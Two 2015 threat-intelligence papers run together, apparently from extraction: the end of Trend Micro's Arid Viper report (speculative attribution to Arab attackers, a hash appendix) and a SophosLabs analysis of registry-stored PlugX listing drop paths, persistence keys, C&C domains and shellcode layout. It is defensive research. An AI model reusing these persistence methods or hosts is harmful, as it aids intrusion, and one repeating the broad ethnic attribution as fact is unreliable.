Muslim Brotherhood a transnational Islamist organization founded in Egypt in 1928, exist. The brotherhood was legalized in Egypt in 2011 and won the parliamentary elections before the army overthrew it in 2013. In 1987, brotherhood-affiliated charities established the Islamic Resistance Movement, better known as Hamas, an infamous Palestinian organization that has been controlling the Gaza Strip since around 2007. Whoever the real culprits are, it is clear that they are part of the Arab world, evidence of a budding generation of Arab hackers and malware creators intent on taking down their chosen adversaries. Some of the black hats be they mercenaries or cybersoldiers are actively targeting countries such as Israel due to political motivations. We have seen all of the ingredients of a cyberskirmish guerrilla war that goes unnoticed by mainstream IT security media. Beyond these specific campaigns, what we found most interesting was that we had disparate groups of Arab aggressors who used the same infrastructure to launch and monitor attacks. This can possibly mean two things the attacks were somehow linked, something that appears unlikely given their nature and motivation, or a supra-organization that provides means for Arab parties to commit acts of cyberviolence exists, which appears to be the more probable option. If our theory holds, we will see a host of cyber attacks with detrimental results stem from Arab countries in the near future. Internet users will be stuck in the middle of a battlefield they do not care much for. We can only offer well-informed inferences on attribution for now. Nevertheless, one thing is very clear whether the malware involved was sophisticated and stealthy or basic and created by beginners, they both had devastating effects on their victims. Trend Micro will always continue to uncover such threats in order to make the world safe for the exchange of digital information. 2015 Trend Micro Incorporated Operation Arid Viper Research Paper REFERENCES The Week Ltd. (1 August 2014). The Week. Iron Dome: How Israel Missile Defence System Works. Last accessed on 12 February 2015, http://www.theweek.co.uk/world-news/middle-east/59368/iron-domehow-israels-missile-defence-system-works. BBC. (20 December 2014). BBC. Israel Launches Gaza Air Strike on Hamas Target. Last accessed on 12 February 2015, http://www.bbc. com/news/world-middle-east-30558922. Pierluigi Paganini. (16 December 2012). The Hacker News. Yahoo Data Leak by ViRuS_HiMa, Why Do We Need Proactive Security? Last accessed on 12 February 2015, http://thehackernews. com/2012/12/yahoo-data-leak-by-virushima-why-do-we.html. Pierluigi Paganini. (15 March 2013). Security Affairs. XSS Vulnerability in 2shared.com reported by ViRuS_HiMa. Last accessed on 12 February 2015, http://securityaffairs.co/wordpress/12889/hacking/xssvulnerability-in-2shared-com-reported-by-virus_hima.html. Guest. (15 December 2012). Pastebin. Yahoo Data Leak by ViRuS_ HiMa. Last accessed on 12 February 2015, http://pastebin.com/ Pxnszw7b. Wikimedia Foundation Inc. (8 February 2015). Wikipedia. Muslim Brotherhood. Last accessed on 12 February 2015, http://en.wikipedia. org/wiki/Muslim_Brotherhood. iii | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper APPENDIX This section provides all of the SHA256 hashes found in relation to Operations Arid Viper and Advtravel and their corresponding Trend Micro detection names. SHA-256 Hashes Trend Micro Detections advtravel.info 015fbc0b216d197136df8692b354bf2fc7bd6eb243e73283d861a4dbbb81a751 TROJ_STRPADT.A 17f2eb260f0b6942f80453b30f1a13235f27b7ed80d4e5815fb58ff7322fc765 TROJ_STRPADT.A 32e2b9cc92dfc1e77a85adb6a8b13c9b6264b7adb286260bd8bf6e47b6cde255 TROJ_STRPADT.A 4a581d9636a4f00a880b07f6dca1a82a866cf5713c74e722cfa9f71e08c33643 TROJ_STRPADT.A 69589b1691909fa091a901f7323515228594561bc18032f8ffde095993333ecc TROJ_STRPADT.A 6cc4869f1991df5879d0c4fc002f996a56bf11624d79ea2d34b52ceb98516425 TROJ_STRPADT.A 72be7e8903211e37bb3a4b04d7684d49ed8fb21ec3fdf6367e4eed2aa6fdc54c TROJ_STRPADT.A 856580576be62a0b14a01e9973b2fcb0c344e680b70a3b08b4ea293f84b47a59 TROJ_STRPADT.A 8c4867a434e0b279c3f7fc5baedb04753c41a79cc52da6e3148c110d82a588e8 TROJ_STRPADT.A ae38be6e54447ddf5a9f16748a749ab0c9c7524f7f4f9878e3b4940415970a19 TROJ_STRPADT.A ea94498aeeef4535ea1c876a0f7317d6049307c82f9396dc6b9e3542a6aa50a3 TROJ_STRPADT.A ahmedfaiez.info 2a375d2a9c41af31554bafb4a712097cc016d5227cb1f07652f0ef3483d5be30 TROJ_STRPSPI.A 55cee457c73aa87258a04562c9d04cd3c865608d5dd64366d9cd9bc2fe2f5dd9 TROJ_STRPSPI.A iv | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper SHA-256 Hashes Trend Micro Detections a4cebac7bf4e5faa537a6013e9ae19c683d7cdad9dd318fdd968a966dd3a3010 TROJ_STRPSPI.A cb3039dad0ebd63e40fbcdbb8a2a1cdf9f442b2870383f5d469765387d0c8ec0 TROJ_STRPSPI.A d4cb58f6167b72764a216d0ce6281d2251f02a696060eb425c9782283422a828 TROJ_STRPSPI.A flushupate.com 91d3a9c6de14197fe3be7c2b86b88b58b1f731d3e82bb0b7b11d5c75fbbed9a5 TROJ_STRPSPI.B b6ca1211159e9fd790790e49db5eb1b7a11c09f746d3135ae7a67ce8f518a403 TROJ_STRPSPI.B e18f051ac27ed29f792db49e4333adca9b1762d485a9214b5af12ffe858ca3fc TROJ_STRPSPI.B flushupdate.com 381bcf2b7fefcdade08bb6a02dc32ea535dbef9cb9a43220649916db8bcc39d8 TROJ_STRPSPI.C 502953496a40661bb6336a693371d3dd29ad96feb5e9f91a5b5ca0ad3ffbf29f TROJ_STRPSPI.C 52767ea5e20b8639433c087edf86ef91b0cb7fda46c71dcce625938a9f5d8a74 TROJ_STRPSPI.C 4436c7024366356cd04724e1d6867786f2587a6f6295fc74b3af0c02a257adba TROJ_STRPSPI.D 4619cec6310e16d30e05204b35c084aabafabdd3d3f87661774fec253a103d11 TROJ_STRPSPI.D 8eeab6635982618bebc137cf6c4795aa10010685d9c7bb6ce66932215195eed7 TROJ_STRPSPI.C 92cd7309723461918b9cd2988a26cd2199749e82636dc6628a46878db7e12db3 TROJ_STRPSPI.D 940a3ed18c4f171c9a6bccc0ab0ee8075aad6da8023e0b0e8883ca56bdddb4c7 TROJ_STRPSPI.C a348aabfd8aeec855933509c4c0b2aee78408ada89d8b51ce16b2247659b22f7 TROJ_STRPSPI.C ae35a7a1b084d09bb913b450944dc6f3205650298e58d19e3e2ee4db93a109ea TROJ_STRPSPI.C b5ba8fbc4f5c9bbf01c9a0a533ecab0735bf8e5e63116fffc570392e6faa9d18 TROJ_STRPSPI.C b7666d4a0afe5f5b5de8faa541be31bbe34ea51c3b3a3fab77937f816ac6181e TROJ_STRPSPI.C v | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper SHA-256 Hashes Trend Micro Detections bbacf000880a46c7955a27f5dd960a6e253cd357f14f97f8472dd4fc3032f44d TROJ_STRPSPI.C bda7ea39f9105c25250f14e9e1fa3de0f51b91b04349974c7cadbbbe1c06ce2f TROJ_STRPSPI.C ineltdriver.com d2ccf6fa361ceaf8cebada53bb1f9458b016ad85b74a7dc1bf4ba18774d92645 TROJ_STRPSPI.C e7b59b841e127c6fe6e02dd98292bba49bd32350b57595e09a6adab8da78235b TROJ_STRPSPI.C e810c74aefd63ce4ea674a1a961075a4d86a10b802d365b6b2b98a724d9b86db TROJ_STRPSPI.D f467c72fa8adde6ddf27150122c117a17d1d664876c2f9d87e68e06257eb1904 TROJ_STRPSPI.C linksis.info 58b48fd39ef718e5bd501f57e83b537668b13176ca682aee36402d18bd0c0733 TROJ_STRPADT.B 59d880ae82ccc3c8207b745b1b3e55119a5b62af086a1639270b1ba5b7e1893a TROJ_STRPADT.B 74d3093a51482a1eaa15e4fc8aa4b7d659d571db0570950272d7aa998aec6f49 TROJ_STRPADT.B 829b90bcf24fdf7f0298edec701c3c45b820f297dd012ac22e27e4bd295ee5f2 TROJ_STRPADT.B 9b6595980751537adf627e6107c08537de13e39752ed54c73e2b6af23e2a2769 TROJ_STRPADT.B d711dc3c75a60ca0cd2556c267e3c33cee5d677edcfe70fb88b334f08f81ece9 TROJ_STRPADT.B e850650e6982469529768988dfabadfdaa53b25abe1e0c0f0b3894b31a83b061 TROJ_STRPADT.B mediahitech.info db06c1914c82b52c9f2ee6ddffb13acde22d2227d626c41c35c163266b11d29c TROJ_STRPSPI.F mixedwork.com 177d9e42c4e2dfc3641cdc1f92815600c861501f5c880f5ab9cb642feb9b94bd TROJ_STRPSPI.F 390ef820779cd7461792f0aa4fc324cb06e1226e551a158cb87ca4db05358ef3 TROJ_STRPSPI.F vi | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper SHA-256 Hashes Trend Micro Detections 3fbdfcf1eae14daa7b2fa6b7d3fa7cf602cd6ff178483c9019e3bb0aa2bb902c TROJ_STRPSPI.F 62b10dc88df96e2d3d9cf5521a8d8372d6228fc82587bdee7f0de3c1c1d5a8bd TROJ_STRPSPI.F 6e8287bb8909baa65e5c00b853b4f66844e5cf3d7a5f8b707997c02395b93505 TROJ_STRPSPI.F 8c66812d657027f537aa43f406182ba39e9baf3785f067ade003f96397b11ec0 TROJ_STRPSPI.F a1bf0e5277f6fc962be778f182971eb4911d9c97cf27526d9e5698d514cef3c0 TROJ_STRPSPI.F a6eac7a3607713fbeb3b50d227f3742ea23aa21c50eeff8987bbba10138527a9 TROJ_STRPSPI.F b33472608ce524c2750b70c496a696ad6653b8a6ea7b474445d94cd491d255cf TROJ_STRPSPI.F bcc1a294bc63c3fa873f364bab0a7aa368d85726346106422013c270d55fec3c TROJ_STRPSPI.F bd9ab35587fdb450242b7a9ee0298c04dbd2fb254065fa004cda1ad42ac5f338 TROJ_STRPSPI.E e29647c7719696bf9d4d5aa8c8f10152b5b63b6d25969db90d9634273c0353f8 TROJ_STRPSPI.F pstcmedia.com 05eb2ecfc731ce222ebe82f6b3428fc5aa4179f7be5f328c5447317950e2d0e7 TROJ_STRPSPI.G 0d22606d24911c2128651ba0421c7c5bf7cd3eedef871c460b02b42b2417c457 TROJ_STRPSPI.G 11768a3a63458963d1d31be5c94d716b8e4f75dc1593080c2988b22cb6facaa8 TROJ_STRPSPI.G 21b9b34d4a21ee538e7908727aca5d367f8d400db920187f51be2921a696421f TROJ_STRPSPI.G 2bd901a246f0b0b90ba891ee37c2ee4f7bd30d36d307b151998769fcc23fd1cb TROJ_STRPSPI.G 33fc87cc53eb867dc89e34fe7a46d33d90cab02f84299531d2e677a507ed308c TROJ_STRPSPI.G 62f9839190e2fe50439894c667b3cbe29d64c3808cc471745e3d33b61370a340 TROJ_STRPSPI.G 694c01c9ade6258596cfafa6247da71712b2c3273bfc25ad26cb47302b8bbf4d TROJ_STRPSPI.G 74f22eced680ca26b767b4b07ba26b98536a385249d751586915b15b56509e0d TROJ_STRPSPI.G vii | Page 2015 Trend Micro Incorporated Operation Arid Viper Research Paper SHA-256 Hashes Trend Micro Detections 81cc84f29a4c444724cbbfab83185866ecebc68c9c0a37f9623a4954456c4dd1 TROJ_STRPSPI.G a185dca4bd3b08bdafa80d53eec7ba792fb94b83785210049ba85477ce7c8cda TROJ_STRPSPI.G a36e2b88b2440aff13bf0473a19e4cd7b7d19e8bc96bb2fd10b991c33e18be7c TROJ_STRPSPI.G aab2cf709d095d949f662c40e9f889a8f3efa130102fc571f56a84205fdc67cb TROJ_STRPSPI.G b009a87d8de4fae3395a06b2676c483a80b10ca12c5bbc093aa71ea504a77dc7 TROJ_STRPSPI.G bb3eefa723221e2aa27c4f56f61418319ccda41b70e9e4b0375bf3bb131e974b TROJ_STRPSPI.G d09a773dab9a20e6b39176e9cf76ac6863fe388d69367407c317c71652c84b9e TROJ_STRPSPI.G dad8cf7474c71db1512e637db780f4650d30b040903d7a76840a1c099b9b8650 TROJ_STRPSPI.G e91216df556bee622e4eab8551fe534cda8f2f1056b8d8442f088a4035815dfe TROJ_STRPSPI.G plmedgroup.com 09be9911eedb9b01d8f544252fb0c74f2dadcf850f33a0b947eac740de8c2427 viii | Page TROJ_STRPSPI.H 2015 Trend Micro Incorporated Trend Micro Incorporated, a global leader in security software, strives to make the world safe for exchanging digital information. Our innovative solutions for consumers, businesses and governments provide layered content security to protect information on mobile devices, endpoints, gateways, servers and the cloud. All of our solutions are powered by cloud-based global threat intelligence, the Trend Micro Smart Protection Network , and are supported by over 1,200 threat experts around the globe. For more information, visit www.trendmicro.com. 2015 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners. 225 E. John Carpenter Freeway Suite 1500 Irving, Texas 75062 U.S.A. Phone: +1.817.569,8900 PlugX goes to the registry (and India) By Gabor Szappanos, Principal Researcher A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Contents Overview PlugX in registry Peeled Tomato Multi-staged installer shellcode A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Overview Recently we published a paper about the capabilities of APT groups [https://nakedsecurity. sophos.com/2015/02/03/exploit-this-evaluating-the-exploit-skills-of-malware-groups/]. One of the conclusions of the paper was that the authors behind the targeted attack campaigns usually have little knowledge about the actual exploit they are using to distribute their malware. But at the same time, we warned our readers never to underestimate them, because otherwise they are skilled, and quite capable of developing sophisticated backdoors. One of the worst performances in our comparison of exploit development belonged to the infamous PlugX malware group(s). However, they recently came out with a couple of significant developments in the backdoor component, demonstrating the point above. One of the improvements was the introduction of a peer-to-peer communication channel to other infected hosts [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html]. Variants using this technology have previously been spotted in the Rotten Tomato campaign [http://blogs.sophos. com/2014/10/30/the-rotten-tomato-campaign-new-sophoslabs-research-on-apts/]. Now additional samples have shown up from this generation. But in addition to the new communication method, some of them were showing another new characteristic: the payload was not stored as separate files, or embedded within the loader DLL, but instead was saved to the registry. Malware hiding components in registry is not a revolutionary idea; we have seen that before. Most notably the recent Poweliks Trojan [https://blog.gdatasoftware.com/blog/article/poweliksthe-persistent-malware-without-a-file.html] stored the active script component in the registry. Even some of the APT malware families, like Poison or Frethog, occasionally used the registry as storage for the main payload. There were precursors even within the criminal groups distributing PlugX: they used this method back in 2013 in a couple of cases for storing the Omdork (a.k.a. Sybin) payload. So it was only a question of when the same would happen to the main PlugX backdoor. And that time arrived this January. A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) PlugX in registry The new variants were distributed using two distinguishable classes of exploited carrier documents though in both cases the CVE-2012-0158 exploit was used. For the first type the distribution was part of a longer campaign, targeting India. This campaign spanned several months, from September 2014 to February 2015. During this time span different variants of the PlugX backdoor were observed as the final payload. Apparently, this was an ongoing operation, where the actors behind it used the latest available versions, as they came out of the factory. Additionally, a few affiliated malware families were distributed to the targets. The samples of the second type showed up the first week of February. At this point we don t have conclusive information about the scope and target of the campaign that used these samples. The payload is stored in encrypted form in the registry. It is loaded, decrypted and executed by the malware loader component. That loader is very similar to the usual PlugX loader DLLs, except that it loads the payload from a registry key instead of a separate file. PlugX payload in the registry The stored payload is the new P2P PlugX backdoor, with internal function names not seen in earlier PlugX v2 versions: ZX, ZXWT, JP1, JP2, JP3, JP4, JP5, JAP0, JAP1. PlugX backdoors use a specific date parameter at specific places in the code. This constant could be used as a major version identifier: when the backdoor code was only slightly modified, the constant did not change. When the constant was updated, that usually meant a significant change in the code. In earlier versions this constant was a meaningful date in hexadecimal representation (e.g. 0x20130810 in most of the next generation PlugX samples). In the P2P PlugX version it changed, now being a meaningful date in decimal representation (e.g. 0x13352AF = 20140719 in the case of the Rotten Tomato samples). In the case of registry stored PlugX variants, this constant was stepped further to 20150108, which indicates a new development from the factory. Less than a month later these new variants were already spotted in targeted campaigns in India. A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Peeled Tomato The first campaign we labelled as Peeled Tomato, in reference to the earlier Rotten Tomato case, because they were clearly derived from those samples. As a reminder, the original structure of the Rotten Tomato samples was the following: Encrypted Zbot CVE-2012-0158 exploit and shellcode CVE-2014-1761 exploit and first stage shellcode Memory marker and CVE-2014-1761 second stage shellcode Encrypted PlugX The RTF documents started with an encrypted Zbot Trojan (remainder of the original template used for creating the samples), then a block using the CVE-2012-0158 exploit and the corresponding shellcode. After that, there was a block using the CVE-2014-1761 exploit and the corresponding first stage shellcode, followed by the second stage shellcode from the CVE-20141761 exploit, and finally the encrypted PlugX backdoor. The first stage of the CVE-2014-1761 shellcode used a bad offset for the second stage code, thus this exploit never worked. A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Having realized the failure of the attempt, the malware authors removed the CVE-2014-1761 exploit block. But even that was not done completely. As a result, they ended up with documents showing the following structure: Encrypted Zbot CVE-2012-0158 exploit and shellcode Memory marker and CVE-2014-1761 second stage shellcode Encrypted PlugX Samples Not surprisingly, just like with several other campaigns, in this case it was observed that different malware families were distributed using similar carrier documents; only the encrypted payload was replaced at the end of the file. The shellcode used in the carrier was very convenient for this purpose: the length and location of the final payload was stored at the end of the file. It was possible to swap the payload without needing to modify the exploit condition and the shellcode itself. And this is exactly what the malware authors did. A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) 9blog This malware family was described in this blog: [http://www.fireeye.com/blog/technical/ malware-research/2013/08/the-curious-case-of-encoded-vb-scripts-apt-nineblog.html] 19e9dfabdb9b10a90b62c12f205ff0d1eeef3f14 Original name: ghozaresh amniyati.doc System activity: Dropped to %PROFILE%\Application Data\Erease.vbe SAV detection: Troj/DocDrop-CH, VBS/9Blog-A C&C servers: www.freetimes.dns05.com Free Dynamic DNS provider A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Smoaler This malware family was described in this blog: [https://nakedsecurity.sophos.com/2013/07/15/ the-PlugX-malware-factory-revisited-introducing-smoaler/], and traditionally has strong ties with PlugX, sharing dropper code and C&C infrastructure. The samples were observed during the period between November 2014 and January 2015 in Russia. Original name: .doc System activity: Dropped to C:\Documents and Settings\All Users\Application Data\Microsoft\Windows\Burn\ {COMPUTERNAME}.dll and C:\Documents and Settings\All Users\Application Data\Microsoft\ Windows\LiveUpdata_Mem\CrtRunTime.log; registered for startup in HKCU\Software\Microsoft\ Windows\CurrentVersion\Policies\Explorer\run {COMPUTERNAME} Here {COMPUTERNAME} is the name of the computer, as set in Windows preferences. SAV detection: Exp/20120158-A, Troj/Smoaler-F C&C servers: lucas1.dnset.com d746ca9b74fb04782e0e783980f7702a9356f1c7 A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: (2014.10).doc The decoy document is the same as in the case of the Nineblog sample. System activity: Dropped to C:\Documents and Settings\All Users\Application Data\Microsoft\Windows\Burn\ {COMPUTERNAME}.dll and C:\Documents and Settings\All Users\Application Data\Microsoft\ Windows\LiveUpdata_Mem\CrtRunTime.log; registered for startup in HKCU\Software\Microsoft\ Windows\CurrentVersion\Policies\Explorer\run {COMPUTERNAME} Here {COMPUTERNAME} is the name of the computer, as set in Windows preferences. SAV detection: Exp/20120158-A, Troj/Smoaler-F A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) PlugX v2 These samples were distributed in September and October 2014, in India. 6f845ef154a0b456afcf8b562a0387dabf4f5f85 Original name: Indian Cooking Recipe.doc System activity: Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (digitally signed clean loader by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload); registered in HKLM\ SYSTEM\CurrentControlSet\Services\RasTls ImagePath The payload is next generation PlugX [https://nakedsecurity.sophos.com/2014/06/30/from-thelabs-PlugX-the-next-generation/], date constant is 0x20130524 SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP C&C servers: supercat.strangled.net Free dynamic DNS provider a97827aef54e7969b9cbbec64d9ee81a835f2240 A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Calling Off India-Pak Talks.doc System activity: Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (digitally signed clean loader by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload); registered in HKLM\ SYSTEM\CurrentControlSet\Services\RasTls ImagePath The payload is next generation PlugX [https://nakedsecurity.sophos.com/2014/06/30/from-thelabs-PlugX-the-next-generation/], date constant is 0x20130524 SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP C&C servers: nusteachers.no-ip.org Free dynamic DNS provider e8a29bb90422fa6116563073725fa54169998325 A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Human Rights Violations of Tibet.doc System activity: Dropped to C:\Documents and Settings\All Users\RasTls\RasTls.exe (digitally signed clean loader by Symantec), C:\Documents and Settings\All Users\RasTls\RasTls.dll (loader) and C:\Documents and Settings\All Users\RasTls\RasTls.dll.msc (payload); registered in HKLM\ SYSTEM\CurrentControlSet\Services\RasTls ImagePath The payload is next generation PlugX [https://nakedsecurity.sophos.com/2014/06/30/from-thelabs-PlugX-the-next-generation/], date constant is 0x20130524 SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP C&C servers: ruchi.mysq1.net Dynamic DNS provider a7e52cb429ac22cc20be77158f97d6f9dd887e1f This sample is an outlier, as it was distributed in January 2015, and in Russia. The decoy document is also unconvential, of minimalistic design. But the carrier document and the C&C server name shows correlation with the rest of the campaign. A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Calling Off India-Pak Talks.doc System activity: Dropped to C:\Documents and Settings\All Users\DRM\usta\usha.exe (digitally signed clean loader by Kaspersky) and C:\Documents and Settings\All Users\DRM\usta\ushata.dll (malware loader) and C:\Documents and Settings\All Users\DRM\usta\ushata.dll.avp (payload). Registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\usta ImagePath The payload is next generation PlugX [https://nakedsecurity.sophos.com/2014/06/30/from-thelabs-PlugX-the-next-generation/], date constant is 0x20130810 SAV detection: Exp/20120158-A, Troj/PlugX-AP C&C servers: lucas1.freetcp.com Free dynamic DNS provider P2P PlugX These samples were distributed in January 2015, in India. 147fbdfeed9f0825026b3b3ce558c3ad00410b11 A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Minutes of meeting.doc System activity: Dropped to C:\Documents and Settings\All Users\DRM\rEjtQOtPhIi\fsguidll.exe (digitally signed clean loader by F-Secure), C:\Documents and Settings\All Users\DRM\rEjtQOtPhIi\fslapi.dll (loader) and C:\Documents and Settings\All Users\DRM\rEjtQOtPhIi\fslapi.dll.gui (payload), Registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\gzQkNtWeabrwf ImagePath The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05. html], date constant is decimal 20141028. SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP C&C servers: unisers.com Registrant Name: wang cheng Registrant Organization: wang cheng Registrant Street: BeijingDaguoROAD136 Registrant City: Beijing Registrant State/Province: Beijing Registrant Postal Code: 100001 Registrant Country: CN Registrant Phone : +86.01085452454 Registrant Phone Ext: Registrant Fax: +86.01085452454 Registrant Fax Ext: Registrant Email:bitumberls@163.com 8ee8ab984cb01762dfc6d341278b87a7c83906cf A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: U.S.,_India_to_formulate_smart_city_action_plans_in_three_months.doc System activity: Dropped to C:\Documents and Settings\All Users\DRM\inbjUkRVq\fsguidll.exe (digitally signed clean loader by F-Secure), C:\Documents and Settings\All Users\DRM\inbjUkRVq\fslapi.dll (loader) and C:\Documents and Settings\All Users\DRM\inbjUkRVq\fslapi.dll.gui (payload), Registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\brwTRsulGqjj ImagePath The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05. html], date constant is decimal 20141028. SAV detection: Troj/DocDrop-CH, Troj/PlugX-AP C&C servers: unisers.com Registrant Name: wang cheng Registrant Organization: wang cheng Registrant Street: BeijingDaguoROAD136 Registrant City: Beijing Registrant State/Province: Beijing Registrant Postal Code: 100001 Registrant Country: CN Registrant Phone : +86.01085452454 Registrant Phone Ext: Registrant Fax: +86.01085452454 Registrant Fax Ext: Registrant Email:bitumberls@163.com A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Registry PlugX These samples were typically distributed in January-February 2015, in India. a4602a357360b0ed8e9b0814b1322146156fb7f6 Original name: CHINA NEWS BRIEF 09 of 2015.doc System activity: Dropped to C:\Documents and Settings\All Users\DRM\sock5proxy\SX.EXE (digitally signed clean loader by Microsoft) and C:\Documents and Settings\All Users\DRM\sock5proxy\SXLOC.DLL; registered in HKLM\SYSTEM\CurrentControlSet\Services\sock5proxy ImagePath; payload stored in the registry in HKCU\Software\BINARY SXLOC.ZAP The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05. html], date constant is decimal 20150108. SAV detection: Exp/20120158-A, Troj/PlugX-AP C&C servers: freemoney.ignorelist.com Free dynamic DNS provider 03b2a660d68004444a5189173e3b8001f4a7cd0b A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Draft contract CMS Trg System.doc System activity: Dropped to C:\Documents and Settings\All Users\DRM\sock5proxy\SX.EXE (digitally signed clean loader by Microsoft) and C:\Documents and Settings\All Users\DRM\sock5proxy\SXLOC.DLL; registered in HKLM\SYSTEM\CurrentControlSet\Services\sock5proxy ImagePath; payload stored in the registry in HKCU\Software\BINARY SXLOC.ZAP The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05. html], date constant is decimal 20150108. SAV detection: Exp/20120158-A, Troj/PlugX-AP C&C servers: freemoney.ignorelist.com Free dynamic DNS provider A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Multi-staged installer shellcode This second batch of exploited documents had a different structure. All start with a heading RTF content (which is exactly the same in all of the documents), followed by the block that exploits the CVE-2012-0158 vulnerability, along with the first stage shellcode, followed by the second and third stage shellcodes, and finally the encrypted payload executable. RTF heading of exploited documents The shellcode itself is encrypted with a 4 byte XOR algorithm, with a lot of inserted junk instructions: fprem1 edi, ebx short loc_13B fnclex fldl2e ebx, ebx test eax, eax fsin [edi], esi short loc_14B f2xm1 edx, edx st(1) short loc_157 fldpi fprem1 edi, esi fdivrp st(1), st In the above code sample, only the XOR [EDI], ESI instruction is meaningful, performing the decryption of the one dword; the rest are only polymorphic junk. A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) The underlying shellcode is multi-stage andhas already been observed in an earlier sample dropping a PlugX v2 variant (SHA1: 9b90d6608ba6167619b5991fd70319dfcd1fa881, date constant 0x20140613), but in that case without the top level cryptor. After the initial bootstrap code is decrypted, it identifies the carrier by looking for DCBA at file offset 0x4e28. If it is found there, it allocates a memory area and decrypts (using one byte XOR algorithm) the next stage starting from right after the ID string. The second stage code decrypts and drops two files: the self-extracting installer archive M.B and the first stage installer M.T into the %TEMP% folder, then allocates another memory region, decrypts, copies and executes the third stage shellcode there. The third stage shellcode copies the first stage installer (which is a DLL library) M.T into %WINDOWS%\Tasks\n.dll, then executes by calling LoadLibrary to load it. The Windows loader upon loading the DLL will execute its entry code. This entry code runs the self-extracting installer archive M.B which will do the final malware installation in the system. This final piece of installation process is malware family dependent. First stage shellcode Exploited document Second stage shellcode Third stage shellcode %WINDOWS%\Tasks\n.dll Malware installer This new shellcode also indicates some heavy development in the PlugX factory. Both this kind of multi-stage shellcode and the external cryptor indicate that although the group is not top class in exploit development, in conventional malware development they show serious skills, which makes them dangerous. dea6525b696df4643b10eb91381d95eec51479d7 A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: paris_declaration january_final.doc The dropped decoy document is corrupted. On opening it, Word will show a conversion dialog as a result of the incomprehensible content. System activity: Dropped to C:\Documents and Settings\All Users\DRM\emproxy\SX.EXE (digitally signed clean loader by Microsoft) and C:\Documents and Settings\All Users\DRM\emproxy\SXLOC.DLL and %WINDOWS%\Tasks\n.dll Registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\sock5proxy ImagePath and by dropping n.dll into the Windows Tasks directory. The n.dll file is a first stage installer, loads M.B, which is dropped into the %TEMP% directory. This installer is a self-extracting WinRAR that contains RasTls.exe and a config file. After the installation, this RAR SFX file is removed from the system. Payload is stored in the registry in HKCU\Software\BINARY SXLOC.ZAP The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05. html], date constant is decimal 20150108. SAV detection: Troj/DocDrop-CD, Troj/Omdork-E, Troj/PlugX-AP C&C servers: sumy2012.jkub.com Free dynamic DNS provider 6340a7916db67c1b6dc1731014bb440435578c66 A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: Obama against IS.doc The dropped decoy document is corrupted just like in the previous case. System activity: Dropped to C:\Documents and Settings\All Users\DRM\emproxy\SX.EXE (digitally signed clean loader by Microsoft) and C:\Documents and Settings\All Users\DRM\emproxy\SXLOC.DLL and %WINDOWS%\Tasks\n.dll Registered for startup in HKLM\SYSTEM\CurrentControlSet\Services\sock5proxy ImagePath and by dropping n.dll into the Windows Tasks directory. The n.dll file is a first stage installer, loads M.B, which is dropped into the %TEMP% directory. This installer is a self-extracting WinRAR that contains RasTls.exe and a config file. After the installation, this RAR SFX file is removed from the system. Payload is stored in the registry in HKCU\Software\BINARY SXLOC.ZAP The payload is next generation P2P PlugX [http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05. html], date constant is decimal 20150108. SAV detection: Troj/DocDrop-CD, Troj/Omdork-E, Troj/PlugX-AP C&C servers: dheeraj_gaurav.mooo.com Free dynamic DNS provider 739405cad3650ed0447a475f50f814f7c9787ff4 A SophosLabs technical paper - February 2015 PlugX goes to the registry (and India) Original name: On execution this dropper displays a blank decoy document. System activity: Dropped to C:\Documents and Settings\All Users\DRM\RdeGL\fsguidll.exe (digitally signed clean loader by F-Secure) and C:\Documents and Settings\All Users\DRM\RdeGL\fslapi.dll (malware loader) and C:\Documents and Settings\All Users\DRM\RdeGL\fslapi.dll.gui (payload) and %WINDOWS%\Tasks\n.dll Registered for startup in 